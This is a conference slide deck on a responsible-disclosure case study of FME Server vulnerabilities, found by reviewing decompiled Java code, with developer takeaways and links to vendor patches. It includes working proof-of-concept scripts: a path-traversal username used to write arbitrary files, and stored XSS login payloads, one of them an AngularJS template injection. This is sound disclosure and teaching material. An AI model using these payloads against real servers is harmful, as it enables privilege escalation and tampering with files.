



HUNTING FOR ZERO DAYS THROUGH CODE REVIEW

A CASE STUDY OF RESPONSIBLE DISCLOSURE IN FME SERVER (v2021.2.5)

CVE-2022-38339 - CVE-2022-38341

WHO AM I?


- Colin Murdoch
- Senior Cybersecurity Researcher at Cycura
- OSCP, OSCE
- Discovered two zero days
- Previously .NET based full stack developer

SPECIAL THANKS TO SAFE SOFTWARE TEAM

- Open and transparent throughout disclosure process
- Receptive to receive findings
- Implemented quick fixes
- Security focused team

WHAT IS FME SERVER?

- Java-based web platform built by Safe Software
- Graphical workflows to build no-code web applications
- Integrates and transforms data
- Automated processing and reporting



WHY MANUAL CODE REVIEWS?

- Single source of truth
- Identify hidden application endpoints
- Vulnerabilities in business logic
- False assumptions about state of data flow
- Augments typical penetration testing strategies

USEFUL TOOLS

- Visual Studio Code
- Decompilers:
 - Java CFR (Java)
 - JetBrains dotPeek (.NET)
 - APKLab (VSCode plugin for Android APKs)

```
Get-ChildItem "D:\Codebase\" -Recurse -Include *.class | Foreach-Object { java -jar D:\Tools\cfr.jar $_.FullName | Out-File -FilePath "$($_.FullName).java" }
```

HIGH LEVEL PROCESS

- Ask questions:
 - What services have interesting names?
 - Configuration files: what routes, options, or servlets are exposed?
 - Any published CVEs or vulnerabilities?
- cursory review of public entry-point logic:
 - What assumptions are made about state of data?
 - Any logical flaws in validation or sanitization?

DIVING INTO THE APPLICATION

- Downloaded and installed FME Server
- Accessible at <http://192.168.241.130/fmeserver/>

[safe.com](#)

[blog](#)

[community](#)




FME SERVER



Login

MAKE OUR OWN SOURCE CODE!

- Review the installed application files
- Look for any services which can be decompiled
- Explore the application with new insights



```
fmedataupload > WEB-INF > web.xml > web-app > servlet
```

```
1 <?xml version="1.0" encoding="UTF-8"?>
2 <web-app version="2.4" xmlns="http://java.sun.com/xml/ns/j2ee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
3   <description>Service for managing persistent and volatile uploaded files for use in translations</description>
4   <display-name>FME Data Upload Service</display-name>
5   <distributable/>
6   <servlet>
7     <servlet-name>volatile</servlet-name>
8     <servlet-class>COM.safe.webservices.upload.VolatileUploadServlet</servlet-class>
9   </servlet>
10  <context-param>
11    <param-name>propertiesFile</param-name>
12    <param-value>/WEB-INF/conf/propertiesFile.properties</param-value>
13  </context-param>
14  <servlet-mapping>
15    <servlet-name>volatile</servlet-name>
16    <url-pattern>/*</url-pattern>
17  </servlet-mapping>
18  <session-config>
19    <session-timeout>
20      1440
21    </session-timeout>
22  </session-config>
```

Service accessible at /fmedataupload/volatile/*

```
fmedataupload > WEB-INF > conf > ☰ propertiesFile.properties
```

```
1 # -----  
2 #           Upload Service Servlet configuration file  
3 # -----  
4 # This file details the installation parameters of the Upload Service Servlet.  
5 #  
6 # -----  
7 # SERVER_NAME - The computer where the Transformation Manager is running. Can be specified  
8 #               as a network name (ie: "ATHENA") or an IP. The default value is  
9 #               "localhost".  
10 SERVER_NAME=localhost  
11 SERVER_PORT=7071  
12  
13 RESOURCE_PATH=C:/FMEServer/Safe Software/FME Server/localization  
14  
15 # ENABLE_SECURITY - A boolean value that determines if security is enabled  
16 ENABLE_SECURITY=true  
17 SECURITY_CLIENT_ID=service_fmedataupload  
18 DEFAULT_USER_ID=guest  
19 DEFAULT_PASSWORD=guest  
20  
21 # UPLOAD_DIR  
22 UPLOAD_DIR=C:/FMEServer/Safe Software/FME Server/resources/system/temp/upload  
23 DEFAULT_RESPONSE_FORMAT=json  
24
```

```
import COM.safe.fmeserver.api.FMEServerUtils;
import COM.safe.utility.ds.Pather;
import COM.safe.web.FileHttpRequest;
import COM.safe.web.marshaling.writer.IServiceResponse;
import COM.safe.web.upload.StoreManager;
import COM.safe.webservices.response.ServiceResponseException;
import COM.safe.webservices.upload.AppProps;
import COM.safe.webservices.upload.IUploadMessages;
import COM.safe.webservices.upload.LogMan;
import COM.safe.webservices.upload.RequestInformation;
import COM.safe.webservices.upload.UploadSVCImpl;
import java.beans.IntrospectionException;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.InputStream;
import java.net.URI;
import java.text.MessageFormat;
import java.util.regex.Pattern;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.ServletInputStream;
import javax.servlet.UnavailableException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.fileupload.FileUploadException;

public class VolatileUploadServlet extends HttpServlet implements IUploadMessages {
    private static final long serialVersionUID = 1L;
    private static final Pattern PTN_StripJSessionID = Pattern.compile(regex: ";jsessionid=.*$");
    static String kUsername = "username";
    private UploadSVCImpl impl_;
    private String dir_;
    private String deffmt_;
    private AppProps props_;

    public void init() throws ServletException { ...

    protected void service(HttpServletRequest request, HttpServletResponse response) throws IOException { ...

    private static Pather getPathInfo(HttpServletRequest request) { ...



    private RequestInformation createRequestInformation(HttpServletRequest req, String sId) { ...

    private IServiceResponse createServiceResponse(HttpServletRequest request) throws UnsupportedOperationException, ServiceResponseException { ...

    private IServiceResponse getServiceResponse(HttpServletRequest request) { ...

    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { ...
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { ...
    protected void doPut(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { ...
    protected void doDelete(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { ...

    private String getId(HttpServletRequest request) { ...
}
```



BREAKING IT DOWN

- Investigate interesting methods
- Trace and extract library calls
- Document the high level flow


```
protected void doPut(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    try {
        RequestInformation reqinfo;
        StoreManager theman;
        IServiceResponse sresp = this.createServiceResponse(request);
        Pather pathInfo = VolatileUploadServlet.getPathInfo(request);
        if (pathInfo.count == 3) {
            if (pathInfo.leaf().equals("../") || pathInfo.leaf().equals(".")) {
                throw new IllegalArgumentException(AppProps.getInstance((ServletContext)this.getServletContext()).resBundle.getMessage(419008, new Object[0]));
            }
            String sId = this.getId(request);
            String sStoragePath = Pather.of((String)this.dir_).plus(pathInfo.until(2)).toString();
            theman = StoreManager.acquire((String)sStoragePath, (String)this.props_.codepage, (String)sId);
            reqinfo = this.createRequestInformation(request, sId);
            if (!theman.has(pathInfo.leaf())) {
                sresp.setStatus(201);
            } else {
                sresp.setStatus(200);
            }
            try (ServletInputStream in = request.getInputStream());{
                this.impl_.populate(theman, (InputStream)in, pathInfo.leaf());
            }
        } else {
            throw new FileNotFoundException(AppProps.getInstance((ServletContext)this.getServletContext()).resBundle.getMessage(419007, new Object[0]));
        }
        this.impl_.doOperations(reqinfo, theman);
        this.impl_.serveRequest(reqinfo, theman, sresp);
        sresp.send(response);
    }
    catch (ServiceResponseException e) {
        throw new ServletException((Throwable)e);
    }
}
```

```
private String getId(HttpServletRequest request) {
    String sId = request.getParameter("opt_namespace");
    if (sId != null && !sId.isEmpty()) {
        if (!FMEServerUtils.isLegalName((String)sId) || sId.equals("..") || sId.equals(".")) {
            AppProps appProps = AppProps.getInstance(this.getServletContext());
            String message = MessageFormat.format(appProps.resBundle.getMessage(419018, new Object[0]), sId, "\\/:*?\"<>|&='+%#");
            throw new IllegalArgumentException(message);
        }
    } else {
        sId = request.getAttribute(kUsername).toString();
    }
    return sId;
}

public class FMEServerUtils {
    private static final String kDefIllegalNamePattern = "[\\\\\\\\/:*?\"<>|&='+%#]";

    public static boolean isLegalName(String fileName) {
        Pattern p = Pattern.compile(kDefIllegalNamePattern);
        Matcher m = p.matcher(fileName);
        return !m.find();
    }

    /** REDACTED **/
}
```

```
public class StoreManager implements Serializable, HttpSessionBindingListener {
    private final File storage_;
    private final Pather storagePather_;
    private final String codePage_;

    public StoreManager(String sStoreLocation, String sCodePage, String sUserSessionID) throws IOException {
        this.storage_ = new File(sStoreLocation, sUserSessionID);
        this.storagePather_ = Pather.of((File)this.storage_);
        this.codePage_ = sCodePage;
        this.setup();
    }

    public static StoreManager acquire(String sStoreLoc, String sCodePage, String id) throws IOException {
        return new StoreManager(sStoreLoc, sCodePage, id);
    }

    public synchronized FileDesc createNew(String sPath) {
        return this.createFileDesc(sPath);
    }

    private void setup() throws IOException {
        if (!this.storage_.exists() && !this.storage_.mkdirs()) {
            throw new IOException("Unable to create directory: " + this.storage_);
        }
    }

    /** REDACTED **/
}
```

```

class UploadSVCImp implements IUploadMessages {
    void populate(StoreManager theman, InputStream in, String sName) throws IOException {
        StoreManager.FileDesc f = theman.createNew(sName);
        LogMan.getInstance(this.context_).inform(419016, f.getRelativePath());
        Files.copy(in, f.toPath(), StandardCopyOption.REPLACE_EXISTING);
        this.removeExtractedContents(theman, f);
    }

    void doOperations(RequestInformation reqinfo, StoreManager theman) throws IOException {
        if (reqinfo.isExtractPaths()) {
            LogMan.getInstance(this.context_).inform(419015, reqinfo.getRequestPath(), reqinfo.getPathLevel());
            this.extractTo(theman, reqinfo.getRequestPath().toString());
            this.extractAll(theman, reqinfo.getRequestPath().toString(), reqinfo.getPathLevel());
        }
    }

    void serveRequest(RequestInformation reqinfo, StoreManager theman, IServiceResponse response) throws IOException, ServiceResponseException {
        LinkedList<FileNodeBean> cFiles = new LinkedList<FileNodeBean>();
        LinkedList<FileNodeBean> cDirs = new LinkedList<FileNodeBean>();
        LinkedList<FileNodeBean> cArchs = new LinkedList<FileNodeBean>();
        cDirs.add(new FileNodeBean(this.archimpl_, this.translatePath(theman, reqinfo.getRequestPath().toString()), FileEx.FileType.Unknown, true, -1L, theman, reqinfo.getRequestPath(), reqinfo.getWorkspaceRepoPath()));
        Iterator<FileNodeBean> it = this.iterateDescendants(reqinfo.getWorkspaceRepoPath(), theman, reqinfo.getRequestPath().toString(), reqinfo.getPathLevel());
        while (it.hasNext()) {
            FileNodeBean fb = it.next();
            if (fb.isArchive()) {
                cArchs.add(fb);
                continue;
            }
            if (fb.isDirectory()) {
                cDirs.add(fb);
                continue;
            }
            cFiles.add(fb);
        }
        LogMan.getInstance(this.context_).inform(419014, reqinfo.getWorkspaceRepoPath(), cArchs.size(), cDirs.size(), cFiles.size());
        if (reqinfo.isAbsolutePaths()) {
            response.getSerializer().setSerializationProps(this.stAbsPaths_);
        }
        Hashtable<String, LinkedList<FileNodeBean>> map = new Hashtable<String, LinkedList<FileNodeBean>>();
        if (!cFiles.isEmpty()) {
            map.put("file", cFiles);
        }
        if (!cDirs.isEmpty()) {
            map.put("folder", cDirs);
        }
        if (!cArchs.isEmpty()) {
            map.put("archive", cArchs);
        }
        map.put("path", (LinkedList<FileNodeBean>)reqinfo.getRequestPath());
        response.addNode("files", map);
        response.addNode("statusInfo", null);
        response.addChild("statusInfo", "status", (Object)"success");
        response.addNode("session", (Object)reqinfo.getSessionID());
    }
}

/** REDACTED **/

```

ORGANIZING THE CODE

- Extract relevant code
- Simplify and rewrite methods or remove redundant code
- Create flat files for easier viewing and tracking
- View the big picture

```

private String getId(HttpServletRequest request) {
    String sId = request.getParameter("opt_namespace");
    if (sId != null && !sId.isEmpty()) {
        if (!FMEServerUtils.isLegalName((String)sId) || sId.equals("..") || sId.equals(".")) {
            AppProps appProps = AppProps.getInstance(this.getServiceContext());
            String message = MessageFormat.format(appProps.resBundle.getMessage(419018, new Object[0]), sId, "\\\/:*?\"<>|&='+%#");
            throw new IllegalArgumentException(message);
        }
    } else {
        sId = request.getAttribute(kUsername).toString();
    }
    return sId;
}

public static boolean isLegalName(String fileName) {
    Pattern p = Pattern.compile("[\\\/:*?\"<>|&='+%#");
    Matcher m = p.matcher(fileName);
    return !m.find();
}

```

Default to authenticated username if opt_namespace is not set

Validate and sanitize opt_namespace if user supplied value
Disallow '/' or '\' to prevent path traversal

1.

```

public static StoreManager acquire(String sStoreLoc, String sCodePage, String id) throws IOException {
    return new StoreManager(sStoreLoc, sCodePage, id);
}

public StoreManager(String sStoreLocation, String sCodePage, String sUserSessionID) throws IOException {
    this.storage_ = new File(sStoreLocation, sUserSessionID);
    this.storagePath_ = Pather.of((File)this.storage_);
    this.codePage_ = sCodePage;
    if (!this.storage_.exists() && !this.storage_.mkdirs()) {
        throw new IOException("Unable to create directory: " + this.storage_);
    }
}

```

Create directory reference with sStoreLocation and sUserSessionID as path

2.

```

void populate(StoreManager theman, InputStream in, String sName) throws IOException {
    StoreManager.FileDesc f = theman.createNew(sName);
    Files.copy(in, f.toPath(), StandardCopyOption.REPLACE_EXISTING);
}

```

Write StoreManager file reference to disk using stored path
If the file already exists, overwrite it

3.

```

protected void doPut(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    Pather pathInfo = VolatileUploadServlet.getPathInfo(request);
    String sId = this.getId(request);
    String sStoragePath = Pather.of((String)this.dir_).plus(pathInfo.until(2)).toString();
    theman = StoreManager.acquire((String)sStoragePath, (String)this.props_.codepage, (String)sId);
    reqinfo = this.createRequestInformation(request, sId);
    if (!theman.has(pathInfo.leaf())) {
        sresp.setStatus(201);
    } else {
        sresp.setStatus(200);
    }
    try (ServletInputStream in = request.getInputStream();){
        this.impl_.populate(theman, (InputStream)in, pathInfo.leaf());
    }
    this.impl_.doOperations(reqinfo, theman);
    this.impl_.serveRequest(reqinfo, theman, sresp);
    sresp.send(response);
}

```

1. Use request data to get sId value
2. Build filename path using sId
3. Write the file content to disk

TEST OUR UNDERSTANDING

- Put theory to practice
- Begin testing the application with deeper understanding
- Repeat and refine the process

Filter Output

```
>> var uploadFile = async () => {
  var username = "admin";
  var password = "Passwørd!";
  var authorization = `${username}:${password}`;
  var body = "Hello, I'm a file!\r\n";
  var folderName = "escapeMe";
  var fileName = "uploadFile.abc";
  var emptyString = '';

  await fetch(`http://192.168.241.130/fmedataupload/volatile/${folderName}/${fileName}?opt_namespace=${emptyString}`, {
    method: "PUT",
    headers: {
      "Authorization": `Basic ${btoa(authorization)}`,
      "Content-Type": "text/plain"
    },
    body: body
  })
  .then(r => r.json())
  .then(r => {
    var filePath = new URL(`file:///${folderName}/${username}/${fileName}`).href.slice(8);
    console.log(`Uploaded file: '${filePath}' with status: ${r.serviceResponse.statusInfo.status}`);
  });
};
uploadFile();
```

Promise { <state>: "pending" }

Uploaded file: '/escapeMe/admin/uploadFile.abc' with status: success

>>

admin

File Home Share View

<code><< FMEServer > Safe Software > FME Server > resources > system > temp > upload > volatile > escapeMe > admin</code>

Name	Date modified	Type	Size
uploadFile.abc			1 KB

Quick access

- Desktop
- Downloads
- Documents
- Pictures
- Music
- Videos
- OneDrive
- This PC
- Network

Command Prompt

```
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\IEUser>cd C:\FMEServer\Safe Software\FME Server\resources\system\temp\upload\volatile\escapeMe\admin
C:\FMEServer\Safe Software\FME Server\resources\system\temp\upload\volatile\escapeMe\admin>type uploadFile.abc
Hello, I'm a file!
```

Blank opt_namespace value defaults to username

User controlled file name

Arbitrary file type and content upload

WHAT WE KNOW SO FAR

- Potentially hidden `fmedataupload` service
- Upload files with arbitrary name, extension, and content
- Username can be included in filename path
- Username is not validated and assumes no path traversal characters exist
- Can we create a dangerous username?

New User

Username

t/../../../../pathTraversal

Name cannot contain any of the following characters: / : * ? " ' < > | ^ & # + = %

Full Name

Path Traverser

Account Enabled



Sharing Enabled



Require Password Change on Next Login



Email



*recommended

Assigned Security Roles(optional)

Search



fmequest



Password

••••••••



Must have a minimum of 8 characters



Must not contain username

Confirm Password

••••••••



Does the server-side also perform this validation?

Headers Cookies Request Response Timings Stack Trace

Filter Headers Block Resend

POST

Scheme: http
Host: 192.168.241.130
Filename: /fmeapiv4/accounts

cb: 1668024356073

Address: 127.0.0.1:8888

Status: 201 ?
Version: HTTP/1.1
Transferred: 1.01 kB (0 B size)
Referrer Policy: strict-origin-when-cross-origin
Request Priority: Highest

Response Headers (274 B) Raw

- Cache-Control: no-cache, no-store, max-age=0, must-revalidate
- Connection: close
- Content-Length: 0
- Date: Wed, 09 Nov 2022 20:05:56 GMT
- Expires: 0
- Location: http://192.168.241.130/fmeapiv4/accounts/dd6443ff-1b18-4b3b-8b7e-be122fd330cc
- Pragma: no-cache

Request Headers (525 B) Raw

- Accept: application/json, text/plain, */*
- Accept-Encoding: gzip, deflate
- Accept-Language: en-US,en;q=0.5
- Authorization: fmetoken token=0c6a5ddb24f99a964c9b2330806fa792427500b
- Connection: keep-alive
- Content-Length: 206
- Content-Type: application/json
- Host: 192.168.241.130
- Origin: http://192.168.241.130
- Referer: http://192.168.241.130/fmeserver/
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0

Headers Cookies Request Response Timings Stack Trace

Filter Request Parameters

JSON Raw

```
enabled: true
fullName: "Path Traverser"
name: "pathTraversal"
password: "Passw0rd!"
passwordChangeNeeded: false
roles: [...]
  0: "359d3ce4-ca6c-4e99-b5d3-8152441ceebb"
sharingEnabled: true
type: "System"
```

```
>> var createMaliciousUser = async () => {  
  var authorization = "admin:Passw0rd!";  
  var maliciousUsername = "t/../../../../pathTraversal";  
  var body = {  
    "enabled":true,  
    "type":"System",  
    "sharingEnabled":true,  
    "passwordChangeNeeded":false,  
    "roles":["359d3ce4-ca6c-4e99-b5d3-8152441ceebb"],  
    "name":maliciousUsername,  
    "fullName":"Path Traverser",  
    "password":"Passw0rd!"  
  };  
  
  await fetch("http://192.168.241.130/fmeapiv4/accounts", {  
    method: "POST",  
    headers: {  
      "Authorization": `Basic ${btoa(authorization)}`,  
      "Content-Type": "application/json"  
    },  
    body: JSON.stringify(body)  
  })  
  .then(r => r.text())  
  .then(r => console.log(`Created malicious user: '${maliciousUsername}'`));  
};  
createMaliciousUser();
```

Promise { <state>: "pending" }

Created malicious user: 't/../../../../pathTraversal'

>>

User Management



Users | Roles | Items

+ New

Actions ▾



Search

<input type="checkbox"/>	Name ^	Full Name & Email	Roles	Type	Status
<input type="checkbox"/>	admin	Administrator	fmesuperuser, fmeadmin	System	✓
<input type="checkbox"/>	guest	Guest	fmeguest	System	⊖
<input type="checkbox"/>	pathTraversal	Path Traverser	fmeguest	System	✓
<input type="checkbox"/>	t/../../pathTraversal	Path Traverser	fmeguest	System	✓

Uh oh!

1 / 1 100

Displaying 1 - 100 of 4

Filter Output

```
>> var uploadMaliciousFile = async () => {
  var username = "t/../../../../pathTraversal";
  var password = "Passw0rd!";
  var authorization = `${username}:${password}`;
  var body = "I shouldn't be here!\r\n";
  var folderName = "escapeMe";
  var fileName = "uploadFile.abc";
  var emptyString = '';

  await fetch(`http://192.168.241.130/fmedataupload/volatile/${folderName}/${fileName}?opt_namespace=${emptyString}`, {
    method: "PUT",
    headers: {
      "Authorization": `Basic ${btoa(authorization)}`,
      "Content-Type": "text/plain"
    },
    body: body
  })
  .then(r => r.json())
  .then(r => {
    var filePath = new URL(r.url).href.slice(8);
    console.log(`Uploaded file: ${filePath} with status: ${r.response.statusInfo.status}`);
  });
};
uploadMaliciousFile();
```

Where's the escapeMe folder?



Uploaded file: '/pathTraversal/uploadFile.abc' with status: success

>>

File Explorer window showing the path: <code><< Windows 10 (C:) > FMEServer > Safe Software > FME Server > resources > system > temp > upload > volatile > pathTraversal</code>. A red box highlights the path <code>upload > volatile > pathTraversal</code> with a red arrow pointing to a text box that says "Outside the escapeMe folder!".

Command Prompt window showing the following commands and output:

```
C:\Users\IEUser>cd C:\FMEServer\Safe Software\FME Server\resources\system\temp\upload\volatile\pathTraversal
C:\FMEServer\Safe Software\FME Server\resources\system\temp\upload\volatile\pathTraversal>type uploadFile.abc
I shouldn't be here!
```


NOT QUITE A ZERO DAY

- Achieved arbitrary file write
- Can write anywhere on the system
- Requires special administrative privileges

ELEVATE THE VULNERABILITY

- How to work around administrative privileges?
- Has someone else solved this problem?
- Review published CVEs

Vulnerability Details : [CVE-2020-22789](#)

Unauthenticated Stored XSS in FME Server versions 2019.2 and 2020.0 Beta allows a remote attacker to gain admin privileges by injecting arbitrary web script or HTML via the login page. The XSS is executed when an administrator accesses the logs.

Publish Date : 2021-04-28 Last Update Date : 2021-06-17

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- CVSS Scores & Vulnerability Types

CVSS Score	4.3
Confidentiality Impact	None (There is no impact to the confidentiality of the system.)
Integrity Impact	Partial (Modification of some system files or information is possible, but the attacker does not have control over what can be modified, or the scope of what the attacker can affect is limited.)
Availability Impact	None (There is no impact to the availability of the system.)
Access Complexity	Medium (The access conditions are somewhat specialized. Some preconditions must be satisfied to exploit)
Authentication	Not required (Authentication is not required to exploit the vulnerability.)
Gained Access	None
Vulnerability Type(s)	Gain privileges Cross Site Scripting
CWE ID	79

- Products Affected By CVE-2020-22789

#	Product Type	Vendor	Product	Version	Update	Edition	Language	
1	Application	Safe	Fme Server	2019.0	*	*	*	Version Details Vulnerabilities
2	Application	Safe	Fme Server	2019.1	*	*	*	Version Details Vulnerabilities
3	Application	Safe	Fme Server	2019.2	Beta	*	*	Version Details Vulnerabilities
4	Application	Safe	Fme Server	2020.0	Beta	*	*	Version Details Vulnerabilities

Vulnerabilities in FME Server versions 2019.2 and 2020.0 Beta (and probably previous versions)

by Ric | Apr 9, 2020 | Blog

While doing our work in [Secura](#), [David Van Gool](#) and I recently found and reported two vulnerabilities in [FME Server](#) versions 2019.2 and 2020.0 Beta.

The vulnerabilities were:

1. Unauthenticated Stored XSS
2. Authenticated Stored XSS

The Unauthenticated Stored XSS injection parameter was in the username of the main login portal and was executed in the logs.

To test this, the following requests attempts to log in the user with the malicious username.

```
POST /fmeserver/login/now HTTP/1.1
Host: fme.acc.redacted.nl
[...]
referer=%2Ffmeserver/username=%3Cscript%3Ealert%28%22XSS+in+Login%22%29%3C%2Fscript%3E
&password =
```

The server accepted it with a 200

```
HTTP /1.1 200 OK
[...]
```



```
username=<script>alert("XSS in Login")</script>
```

```
>> ▼ var originalXssLogin = async () => {  
  var username = `[A]<script>alert("XSS in Login")</script>[B]`;  
  var body = `referer=%2ffmeserver&username=${encodeURIComponent(username)}&password=password`;  
  
  await fetch("http://192.168.241.130/fmeserver/login/now", {  
    method: "POST",  
    headers: { "Content-Type": "application/x-www-form-urlencoded" },  
    body: body  
  })  
  .then(r => r.text())  
  .then(r => console.log(`Attempted login with username: '${username}'. Check administrator logs.`));  
};  
originalXssLogin();
```

← Promise { <state>: "pending" }

Attempted login with username: '[A]<script>alert("XSS in Login")</script>[B]'. Check administrator logs.

>>

System Events ?



History | Configurations



Type: All Types

ID	Type	Contents	Date
3812	Login Failed	<p>Event Description: Triggered whenever a user</p> <p>Performed By: [A][B]</p> <p>Event Title: Login Failed</p> <p>Message: Failed login by user [A][B] due to insufficient credentials.</p>	13:42:57
3811	Error Message Logged	<p>Event Description: Triggered whenever an error message is logged to fmeserver.log.</p> <p>Event Title: Error Message Logged</p> <p>Message: Failed to register FME Engine.</p>	Today at 13:42:54

<script> tag was removed, rather than sanitized
Good opportunity to attack the parser



TIPS

- Go for quick wins
- Remember: client-side code tells a story, too
- Apply some basic fuzzing before diving into server-side code

```
<!--ngIf: !safeGrid.mobile && !(row.data.taskType=='notification' && value.name=='sharingDialog')-->
▼ <td class="" ng-if="!safeGrid.mobile && !(row.data.taskType=='notification' && value.name=='sharingDialog')" ng-
  click="safeGrid.clickRow(row.data, row, value, $event)" ng-dblclick="safeGrid.doubleClickRow(row.data, row, value,
  $event)" ng-repeat="(key, value) in safeGrid.cols track by $index" ng-style="{ 'max-width': (value.maxWidth ?
  value.maxWidth + 'px' : '')_ 'min-width': (value.minWidth ? value.minWidth + 'px' : '') }" fit-width="false" col-
  compile="" row="row" col="value" width=""> 
▼ <span class="safe-grid-cell-inner">
  <strong class="ng-scope">Event Description:</strong>
  Triggered whenever a user failed to login to the web interface.
  <br class="ng-scope">
  <strong class="ng-scope">Performed By:</strong>
  [A][B]
  <br class="ng-scope">
  <strong class="ng-scope">Event Title:</strong>
  Login Failed
  <br class="ng-scope">
  <strong class="ng-scope">Message:</strong>
  Failed login by user [A][B] due to insufficient credentials.
  <br class="ng-scope">
</span>
</td>
<!--end ngIf: !safeGrid.mobile && !(row.data.taskType=='notification' && value.name=='sharingDialog')-->
```



Client-side code is useful, too!

**Looks like AngularJS, try a
non-HTML XSS payload?**


```
>> var angularXssLogin = async () => {  
  var username = `[A]{{constructor.constructor("try{if(x){};}catch{alert('No HTML Here!');x=1;}")()}}[B]`;  
  var body = `referer=%2ffmeserver&username=${encodeURIComponent(username)}&password=password`;  
  
  await fetch("http://192.168.241.130/fmeserver/login/now", {  
    method: "POST",  
    headers: { "Content-Type": "application/x-www-form-urlencoded" },  
    body: body  
  })  
  .then(r => r.text())  
  .then(r => console.log(`Attempted login with username: '${username}'. Check administrator logs.`));  
};  
angularXssLogin();
```

← Promise { <state>: "pending" }

Attempted login with username: '[A]{{constructor.constructor("try{if(x){};}catch{alert('No HTML Here!');x=1;}")()}}[B]'. Check administrator logs.

>>

System Events i



History | Configurations

Oh no!

 192.168.241.130

Type: All Types

No HTML Here!

OK



PUTTING IT ALL TOGETHER

- Achieved arbitrary file write
- Can write anywhere on the system
- ~~• Requires special administrative privileges~~
- Acquired special administrative privileges

DEVELOPER TAKEAWAYS

- Never trust dynamic data
- Apply sanitization efforts as close to consumption or egress as possible
 - Ensure coverage of all data paths
 - Data from trusted sources may still have indirect user control; second-order manipulation
- CPU cycles are cheap

ATTACKER TAKEAWAYS

- Source code increases scope visibility
 - Even client-side code can reveal useful insights or hidden data
- While tedious, manual code review can find the needle in the haystack
 - Automated scanners may not understand general business logic
- Validation logic or compensating controls present an interesting attack surface
- Vulnerable once, vulnerable again

GET YOUR PATCH!

- <https://community.safe.com/s/article/FME-Server-Stored-Cross-Site-Scripting-XSS-Vulnerabilities>
- <https://community.safe.com/s/article/Known-Issue-FME-Server-vulnerability-with-arbitrary-path-traversal-and-file-upload>
- <https://community.safe.com/s/article/Known-Issue-Arbitrary-file-upload-with-any-authenticated-FME-Server-account>
- <https://community.safe.com/s/article/Known-Issue-Lack-of-server-side-validation-when-creating-a-new-user-in-FME-Server>

The image features a dark blue background with white, stylized circuit board traces in the corners. These traces consist of lines and small circles, resembling electronic components or connections. The central focus is the word "Questions?" written in a large, white, sans-serif font.

Questions?